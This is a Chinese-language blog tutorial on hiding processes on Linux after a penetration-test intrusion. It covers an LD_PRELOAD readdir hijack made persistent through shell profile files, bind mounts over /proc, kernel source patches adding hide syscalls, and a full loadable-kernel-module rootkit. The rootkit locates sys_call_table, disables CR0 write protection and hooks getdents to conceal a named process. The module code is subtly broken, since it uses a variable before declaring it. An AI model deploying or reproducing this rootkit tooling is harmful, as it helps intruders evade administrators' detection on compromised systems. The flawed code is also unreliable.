文章目录
- (渗透测试后期)Linux进程隐藏详解
-
- 前言
- Linux进程基础
- Linux进程侦查手段
- Linux进程隐藏手段
-
- 一、基于用户态的进程隐藏
-
- 方法1:小隐隐于/proc/pid——劫持readdir系统调用
-
- 额外:加载至arm
- 方法2:小隐隐于/proc/pid——mount 挂载
- 二、基于内核态的进程隐藏
-
- 方法3:大隐隐于内核——修改内核源码+系统调用
- 方法4:大隐隐于内核——修改内核源码proc_pid_lookup
- 方法5:大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏
- 总结
(渗透测试后期)Linux进程隐藏详解 前言 写博客最好还是贴近实际,先用实践技术去引导,在过程中记录笔记,最后整理成博客。所谓水到渠成也。
如果脱离实际牵引,以想法驱动,最终也会性质缺缺,博客质量不够。
Linux进程基础 进程是执行程序的过程,类似于按照图纸,真正去盖房子的过程。
同一个程序可以执行多次,每次都可以在内存中开辟独立的空间来装载,从而产生多个进程。不同的进程还可以拥有各自独立的IO接口。操作系统的一个重要功能就是为进程提供方便,比如说为进程分配内存空间,管理进程的相关信息等等,就好像是为我们准备好了一个精美的地址。
进程信息是proc目录下动态生成,每个动态创建的进程ID号下面详细的记录了关于该进程的fd,mem,io,cpuset等进程信息。
文章图片
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。
**通过它可以访问系统内核数据。**用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。
由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统动态的。在/proc下还有三个很重要的目录:net,scsi和sys。sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。
除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口。
读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
Linux进程侦查手段
- 通过ps命令查看
文章图片
ps显示进程原理
strace命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。因此对于调试程序出错是非常有用的。这里不过多展示strace的调试用法,具体可以查看详细的strace命令。
我们看下ps是如何显示进程信息的:
strace ps
通过strace命令可以看出 ps查看进程的信息都是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。
- 通过top命令查看
top显示进程原理
我们看下top是如何显示进程信息的:
strace top
文章图片
通过strace命令可以看出top等查看进程的信息也是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。
- 通过ls命令查看
ls /proc/pid/stat
Linux进程隐藏手段 Linux 下进程隐藏手法大体上分为两种,一种是基于用户态隐藏;一种是直接操控内核进行隐藏。
一、基于用户态的进程隐藏
修改内核代码比较难,在用户态可以选择通过劫持系统调用来隐藏进程
方法1:小隐隐于/proc/pid——劫持readdir系统调用 劫持readdir函数,主要是让程序运行假的readdir函数。同时就像DLL文件在windows上,so文件也是Linux的函数库,readdir函数就在其中。
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为
LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib
指定LD_PRELOAD文件的库就能成功。
只需:
- 编译出假的.so文件,包含假的readdir函数
- 让ps、top等程序通过LD_PRELOAD加载我们的.so文件。
同性交友网站github上有现成的文件,我们就不重复造轮子了:
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/
( 修改 processhider.c 中 process_to_filter test为你的进程名字 )
文章图片
make
cp libprocesshider.so /home/root2/Desktop/tools/hide_proc
export LD_PRELOAD=/home/root2/Desktop/tools/hide_proc/libprocesshider.so
查看结果:
这是劫持readdir系统调用之前:
文章图片
文章图片
这是劫持readdir系统调用之后:
文章图片
文章图片
注:劫持函数只在一个终端有效,在新终端使用ps命令不会被劫持
注2:程序名称为本身文件名称,没有python 、/bin/sh 、./、上级路径
那么我们将动态库所在目录的绝对路径设置到~/.bashrc或/etc/profile中即可永久生效
用户级别:追加库路径到~/.bashrc文件尾
系统级别:追加库路径到/etc/profile文件尾
export LD_PRELOAD=xxxxx
source ~/.bashrc #新启终端自动加载
source /etc/profile #重启系统自动加载
额外:加载至arm 因为该方法编译出的文件只能用于amd64架构,不能应用于arm\mips等架构,那我们如何解决?
答:搭建交叉编译环境,编译出针对arm架构的so库文件——交叉编译用户态文件,不是交叉编译内核模块,所以简单的一匹。
步骤:
- 1.搭建arm-linux-gcc交叉编译环境
- 2.利用交叉编译环境编译出.so库
- 3.移植到arm平台重复方法1步骤
例如隐藏进程id为1的进程信息:
mount -o bind /empty/dir /proc/1
缺点
cat /proc/pid/mountinfo
或者cat /proc/mounts
即可知道是否有挂载至/proc下的进程(不过一般没人闲着去看)二、基于内核态的进程隐藏
编写一个rootkit(内核加载模块LKM),作为内核的一部分直接以 ring0 权限向入侵者提供服务。
LKM 编程在一定意义上便是内核编程,与内核版本密切相关,只有使用相应版本内核源码进行编译的 LKM 才可以装载到对应版本的 kernel 上
所以基于内核态的进程隐藏难度较大,不过隐藏程度最深
方法3:大隐隐于内核——修改内核源码+系统调用 【网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解】该方法便捷性较强
以Linux2.6.28内核为例(高版本例如5.11源码不同,不改这个函数,但思路一样)
思路:
- 修改内核源码,进程控制块task_struts增加字段:int hide; 为1时隐藏,为0时不隐藏
- 修改创建进程的相关代码,进程创建时,置hide为0
- 增加系统调用hide() :将进程控制块中的hide置1;删除/proc中该进程目录
int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)//内核源码,修改前
{
unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;
struct task_struct *reaper = get_proc_task(filp->f_path.dentry->d_inode);
struct tgid_iter iter;
struct pid_namespace *ns;
if (!reaper)
goto out_no_task;
for (;
nr < ARRAY_SIZE(proc_base_stuff);
filp->f_pos++, nr++) { //这个for,填充self目录
const struct pid_entry *p = &proc_base_stuff[nr];
if (proc_base_fill_cache(filp, dirent, filldir, reaper, p) < 0)
goto out;
}ns = filp->f_dentry->d_sb->s_fs_info;
iter.task = NULL;
iter.tgid = filp->f_pos - TGID_OFFSET;
for (iter = next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = next_tgid(ns, iter)) {//这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数
filp->f_pos = iter.tgid + TGID_OFFSET;
if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) {
put_task_struct(iter.task);
goto out;
}
}
filp->f_pos = PID_MAX_LIMIT + TGID_OFFSET;
out:
put_task_struct(reaper);
out_no_task:
return 0;
}
将proc_pid_readdir函数中的for循环修改为
for (iter = next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = next_tgid(ns, iter))
{
//这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数
if(!iter.task->hide)
{
filp->f_pos = iter.tgid + TGID_OFFSET;
if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0)
{
put_task_struct(iter.task);
goto out;
}
}
}
}
修改include/linux/sched.h文件
struct task_struct{undefined
...//现有字段
int hide;
//添加hide字段,切忌不要在最开始添加,因为开始的字段的偏移量已固定,内核中其他部分已直接引用,如果在最开始添加,将导致现有代码不能正常工作
}
修改kernel/fork.c文件
p = dup_task_struct(current);
if (!p)
goto fork_out;
p->hide=0;
//添加
rt_mutex_init_task(p);
修改kernel/sys.c
//添加系统调用
asmlinkage long sys_hide()
{
current->hide=1;
return 0;
}
asmlinkage long sys_unhide()
{
current->hide=0;
return 0;
}
修改arch/x86/asm/include/unistd_32.h
#define __NR_inotify_init1 332
#define __NR_hide 333
#define __NR_unhide 334#ifdef __KERNEL__
修改arch/x86/kernel/syscall_table_32.s
long sys_dup3/* 330 */
long sys_pipe2
long sys_inotify_init1
long sys_hide
long sys_unhide
重新编译内核…
生成文件:test_hide.c
#include
int main(){
int pid=getpid();
char command[80];
sprintf(command,"ps aux|grep %d\n",pid);
asm volatile(\
"int $0x80"\
::"a"(333)\
);
// 执行333号系统调用即sys_hide printf("--------------------\n");
system(command);
printf("--------------------\n");
asm volatile(\
"int $0x80"\
::"a"(334)\
);
return 0;
}
只有grep命令,原程序成功隐藏
文章图片
注:在Linux5.11等高内核版本上也是相同的思路,找对应的内核代码,修改再编译就好了。难点在哪呢,相比于2.6内核,网上资料少很多,要自己一个个去翻看函数,比较繁琐,作者暂也没找到好函数= =…
(佩服各个内核师傅们)
方法4:大隐隐于内核——修改内核源码proc_pid_lookup 既然进程信息是proc目录下动态生成的,因此会有一系列的函数进行操作,只要其中一个函数挂掉了,这/proc下的目录就不会生成。
通过查找代码,定位到内核通过fs/proc/base.c中的proc_pid_lookup函数。
由proc_pid_instantiate来在proc下创建该进程号相关的进程信息。(不同内核版本函数不同)
因此我们只需要在proc_pid_lookup中匹配要过滤的进程pid,然后直接返回就行了,如下:
文章图片
注:内核版本(5.11)不同切要修改细节。
重新编译内核…修改下检查程序
文章图片
只有grep命令,原程序成功隐藏
总结:
只要找到产生/proc/pid的函数链中一个函数,进行修改并重新编译,即可隐藏进程。 内核难在资料少与函数多,思路是不难的。
方法5:大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏 原理:
内核模块是一些可以让操作系统内核在需要时载入和执行的代码,这同样意味着它可以在不需要时由操作系统卸载。卸载。
目标是隐藏ps、top等命令中进程,修改ps命令的一系列函数中一个即可。
strace ps aux
,一个个函数排查,发现读取/proc目录的函数为getdents,对应的系统调用为
int sys_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。
代替原先的系统调用,使用自己定义的系统调用hacked_getdents(),加上我们自己的判断语句就能实现对进程文件的过滤。
**系统调用表(sys_call_table)**管理着系统调用,获得系统调用表的地址,就可以替换系统调用函数。找到sys_getdents()的入口地址,并用hacked_getdents()的地址进行替换即可。
Linux从2.4.18内核以后就不再导出系统调用表,因此要修改系统调用,必须从软件上获取系统调用表的地址。由于不同CPU架构的系统获取系统调用表的方式不一样,这里以我自己的系统(x86_64)为例,系统调用表地址获取流程如下:
文章图片
由于内核的页标记为只读,尝试用函数去写这个区域的内存,会产生一个内核oops。这种保护可以很简单的被规避,可通过设置cr0寄存器的WP位为0,禁止写保护CPU。
b)Linux x86_64有两套调用模式:Long模式和兼容模式,分别对应有两套调用表:sys_call_table,ia32_sys_call_table。实验中采用Long模式的系统调用表。
流程:
- 1.获取系统调用表:
grep sys_call_table /boot/System.map
- 2.sys_getdents()的入口地址保存在数组sys_call_table以__NR_getdents为偏移的位置上。替换过程如下:
/* 保存原始系统调用 */ orig_getdents = sys_call_table[__NR_getdents]; /* 替换原始系统调用 */ sys_call_table[__NR_getdents] = hacked_getdents;
恢复系统调用的代码如下:
/* 恢复原始系统调用 */ sys_call_table[__NR_getdents] = orig_getdents ;
- 3.生成内核模块:
make
加载内核模块 :insmod
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("CHS");
#define DEBUG#define hide_proc "hide_proc"unsigned long *sys_call_table = NULL;
asmlinkage long (*orig_getdents)(unsigned int, struct linux_dirent64 __user *, unsigned int);
/* 将字符串转换为整数,失败返回-1,成功返回大于-1的整数 */
int my_atoi(char * name)
{
char *ptr;
int tmp, pid = 0;
int mul = 1;
for (ptr = name + strlen(name) - 1;
ptr >= name ;
ptr--) {
tmp = *ptr - '0';
if (tmp < 0 || tmp > 9) {
pid = -1;
break;
}
pid += tmp * mul;
mul *= 10;
}
#ifdef DEBUG2
printk(KERN_ALERT"name:%s,pid:%d", name, pid);
#endif
return pid;
}
/* 用户修改的系统调用*/
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
long res;
int pid;
unsigned short len = 0;
unsigned short tlen = 0;
struct kstat fbuf;
vfs_fstat(fd, &fbuf);
res = (*orig_getdents)(fd, dirp, count);
if (!res)
return res;
if (res == -1)
return res;
if (fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3) {
#ifdef DEBUG2
printk(KERN_ALERT"proc file\n");
#endif
tlen = res;
while (tlen>0) {
len = dirp->d_reclen;
#ifdef DEBUG2
printk(KERN_ALERT"%s\n",(dirp->d_name-1));
#endif
pid = my_atoi(dirp->d_name-1);
//-1 is neccessary
tlen -= len;
if (strcmp(task->comm, hide_proc) == 0) {
#ifdef DEBUG
struct task_struct *task = pid_task(find_vpid(pid), PIDTYPE_PID);
printk(KERN_ALERT"Find process:%s,pid:%d\n", task->comm, pid);
#endif
memmove(dirp, (char *)dirp + dirp->d_reclen, tlen);
res -= len;
}
if (tlen)
dirp = (struct linux_dirent64 *)((char *)dirp + dirp->d_reclen);
}
}
return res;
}
/* 搜索字符串*/
static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) {
const char *begin;
const char *const last_possible = (const char *)haystack + haystack_len - needle_len;
if (needle_len == 0) {
return (void *)haystack;
}
if (__builtin_expect(haystack_len < needle_len, 0)) {
return NULL;
}
for (begin = (const char *)haystack;
begin <= last_possible;
++begin)
{
if (begin[0] == ((const char *)needle)[0] && !memcmp((const void *)&begin[1], (const void *)((const char *)needle + 1),needle_len - 1)) {
return (void *)begin;
}
}
return NULL;
}
/* 获取系统调用表地址*/
unsigned long* get_syscall_table_long(void) {
char **p;
/* Entry of syscall function */
unsigned long sct_off = 0;
unsigned char code[512];
/* Obtain address of system_call */
rdmsrl(MSR_LSTAR, sct_off);
/* Read-in the code of system_call */
memcpy(code, (void *)sct_off, sizeof(code));
/* Search for pattern \xff\x14\xc5 */
p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
if (p) //find
{
unsigned long *sct = *(unsigned long **)((char *)p + 3);
//Stupid compiler doesn't want to do bitwise math on pointers
sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000);
return sct;
}
else
return NULL;
}
/* 屏蔽写保护 */
inline unsigned long disable_wp(void)
{
unsigned long cr0;
preempt_disable();
//diable preempt
barrier();
cr0 = read_cr0();
write_cr0(cr0 & ~X86_CR0_WP);
return cr0;
}
/* 恢复写保护*/
inline void restore_wp(unsigned long cr0)
{
write_cr0(cr0);
barrier();
preempt_enable_no_resched();
}
/* 劫持系统调用模块初始化函数*/
static int __init hook_init(void) {
unsigned long orig_cr0 = disable_wp();
//关闭写保护
sys_call_table = get_syscall_table_long();
//获得系统调用表地址
if (sys_call_table == 0) {
printk(KERN_ALERT"sys_call_table is NULL!\n");
return -1;
}
#ifdef DEBUG
printk(KERN_ALERT"Find system call table address:%p\n", sys_call_table);
#endif
/* 保存原始系统调用 */
orig_getdents = sys_call_table[__NR_getdents];
/* 替换原始系统调用*/
sys_call_table[__NR_getdents] = hacked_getdents;
#ifdef DEBUG2
orig_unhide = sys_call_table[__NR_unhide];
sys_call_table[__NR_unhide] = hacked_unhide;
#endif
restore_wp(orig_cr0);
//恢复写保护
return 0;
}
/* 劫持系统调用模块清理函数*/
static void __exit hook_exit(void) {
unsigned long orig_cr0 = disable_wp();
/* 恢复系统调用*/
sys_call_table[__NR_getdents] = orig_getdents;
#ifdef DEBUG2
sys_call_table[__NR_unhide] = orig_unhide;
#endif
restore_wp(orig_cr0);
return;
}
module_init(hook_init);
module_exit(hook_exit);
Makefile:
obj-m+=hook.o
all:
make -C /usr/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean
Makefile另写法(网上资料):
obj-m+=hook.o
all:
make -C /usr/src/linux-(内核版本) SUBDIRS=$PWD modules
insmod hook.ko挂载模块,rmmod hook卸载模块
结果:
文章图片
总结 Linux一切皆文件,进程隐藏的本质还是文件隐藏
推荐阅读
- 《Linux》|<Linux常用开发工具使用(yum、vim、gcc/g++、gdb、make/Makefile等)>——《Linux》
- Linux|Linux进程编程实践1——进程的基本概念、fork创建进程
- Linux|超级详细的Linux抓包工具tcpdump详解!
- Linux|Linux抓包(wireshark+tcpdump)
- 运维笔记|Linux性能优化——使用 tcpdump 和 Wireshark 分析网络流量
- 网络|Linux网络抓包分析工具
- Linux|Linux 抓包分析(Tcpdump + Wireshark 的完美组合)
- Linux基础使用|Linux 运行和控制 shell 脚本
- Linux|shell编程--四种流程控制语句